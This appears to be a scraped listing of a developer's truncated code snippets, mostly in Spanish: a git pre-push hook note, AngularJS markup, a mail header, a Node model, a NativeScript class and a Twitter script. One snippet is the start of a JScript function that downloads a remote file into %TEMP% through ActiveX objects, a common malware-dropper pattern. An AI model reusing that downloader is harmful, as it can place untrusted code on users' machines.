Copian el archivo pre-push.js a repo/.git/hooks/pre-push. Y cada ves que le dan push le cambia la versión del patch
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| <head> | |
| <script scr="angular.js"></script> | |
| <script scr="ngroute.js"></script> | |
| <script scr="myApp.js"></script> | |
| <body np-app="myApp" ng-controller="NameController"> | |
| in myApp.js | |
| angular.module('myApp', ['ngRoute']).controller('NameController', ['$scope', function(scope){ |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| function dl(fr,fn,rn) { | |
| var ws = new ActiveXObject("WScript.Shell"); | |
| var fn = ws.ExpandEnvironmentStrings("%TEMP%")+"\\"+fn; | |
| var xo = new ActiveXObject("MSXML2.XMLHTTP"); | |
| xo.onreadystatechange = function() { | |
| if (xo.readyState === 4) { | |
| var xa = new ActiveXObject("ADODB.Stream"); | |
| xa.open(); | |
| xa.type = 1; | |
| xa.write(xo.ResponseBody); |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| To: "[email protected]" <[email protected]> | |
| Subject: prueba | |
| X-PHP-Originating-Script: 0:class.phpmailer.php | |
| Date: Tue, 30 Dec 2014 19:43:59 -0500 | |
| From: Alejandro Next <[email protected]> | |
| Reply-To: Alejandro Next <[email protected]> | |
| Message-ID: <[email protected]> | |
| X-Priority: 3 | |
| MIME-Version: 1.0 | |
| Content-Type: text/html; charset=UTF-8 |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| TEST! |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| function fal (input) { | |
| var output = [], value; | |
| for (var i = input.length - 1; i >= 0; i--) { | |
| if (Array.isArray(input[i]) && input[i].length > 0) { | |
| value = fal(input[i]); | |
| for (var f = 0; f < value.length; f++) | |
| output.push(value[f]); | |
| } else if( !Array.isArray(input[i]) ){ | |
| output.push(input[i]); | |
| } |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| // Tu modelo... bla... bla.. | |
| module.exports = { | |
| attributes: { | |
| // Los Atributos.... | |
| }, | |
| damePlantas: function (){ | |
| try { | |
| var pl = JSON.parse(this.plantas); | |
| return pl; |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| package org.nativescript.vibration; | |
| import android.content.Context; | |
| import android.os.Vibrator; | |
| /** | |
| * This class provides access to vibration on the device. | |
| */ | |
| public class Vibration { |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| { | |
| "name": "OpenShift-Sample-App", | |
| "version": "1.0.0", | |
| "description": "OpenShift Sample Application", | |
| "author": { | |
| "name": "alejonext", | |
| "email": "[email protected]", | |
| "url": "http://www.alejonext.co/" | |
| }, | |
| "repository": { |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| const um =/(^|\s)(3([0-9]|\-){9,10})($|\s)/gim; | |
| const search = 'lo que buscamos basico'; | |
| const _ = require('underscore'); | |
| var Twitter = require('twitter'); | |
| var client = new Twitter({ | |
| consumer_key: , | |
| consumer_secret: , |